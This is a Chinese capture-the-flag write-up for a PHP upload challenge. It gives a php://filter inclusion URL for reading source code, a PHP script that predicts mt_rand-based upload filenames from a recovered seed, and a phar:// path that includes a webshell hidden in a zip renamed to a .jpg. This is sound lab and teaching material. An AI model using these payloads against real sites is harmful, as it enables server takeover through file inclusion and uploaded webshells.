题目考点:文件包含漏洞、php随机函数漏洞
打开题目,可以发现是一个上传网站。尝试上传,发现做了很严格的验证,并且正常上传后,其没有文件路径回显。此时通过burp分析流量,可以发现存在可疑url。
看到page=xxxx,猜测其为文件包含点。
尝试使用PHP伪协议,进行文件源码读取
/?page=php://filter/convert.base64-encode/resource=upload
然后base64解码,得到源码,通过此方式,继续拿到index源码。分析其源码,可以发现,确实做了很严格的白名单过滤。至此,可以判断本题考点为,通过PHP伪协议,包含图片马,进而getshell。
此时我们只需要考虑如何拿到文件路径即可。通过分析源码可知,其路径格式如下:
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
其中random_str函数为随机字符生成。但因其采用了不安全的随机数函数mt_rand,导致其随机数可以预测。
在这里,我们可以通过源码看到,他随机生成了一个随机数种子,即$seed。然后将第一个生成的随机数与sessionid进行拼接,最近作为Cookie返回。
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
此时,我们可以通过拿到cookie中的随机数,进而爆破得到随机数种子。然后通过该种子。生成相同序列的随机数
首先我们将我们的一句话木马1.php通过zip协议进行压缩。然后将压缩得到的1.zip重命名为1.jpg。
上传1.jpg并进行抓包。发送到repeater中进行下一步调试。
将cookie改为 PHPSESSID=;
,然后发送上传包。这样,我们得到响应头中Cookie的SESSI0N字段即为随机数的md5值。通过在线工具对其进行解密。
然后我们通过工具 php_mt_seed
对其种子进行爆破。,通过分析响应头,可知当前题目环境为PHP/5.5.9,故我们可以只关注当前版本的随机数,如下图。
将爆破得到的种子,放到$arr列表中,生成文件名。挨个尝试即可。脚本如下。(请用5.2.1-7.0.x范围的PHP执行)
<?php
//
$arr = array(487836232,1683084871,1683084871,2919913563,2975582418,3345237342,3345237342,3557327674,3557327674);
foreach($arr as $a) {
mt_srand($a);
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
$ss = mt_rand(); // 这一步必须加上,否则与服务器端的随机值对应不上
for ($i = 1; $i <= 32; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
echo 'http://220.249.52.133:30617/uP1O4Ds/' . $str . '_1.jpg' ."\n\r";
}
?>
运气比较好,第一个就是。访问可以看到,是我上传的恶意zip文件。
接下来,我们通过phar伪协议,来进行文件包含。去读取我们上传的1.jpg里面的1.php
phar://uP1O4Ds/89M3W1PX4UMnK2ImqCh1EJsVE3D38gdH_1.jpg/1
# phar://zip压缩包路径/压缩包内路径
# 这里因为后端代码为:include($_GET['page'].'.php');,所以我们写1就可以了。
最终GetFlag。